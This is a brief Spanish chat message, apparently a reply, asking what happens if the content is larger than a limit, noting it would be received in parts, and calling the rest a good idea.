Que pasa si es mayor a ese contenido ? lo vas a recibir por parte.

El resto, buena idea!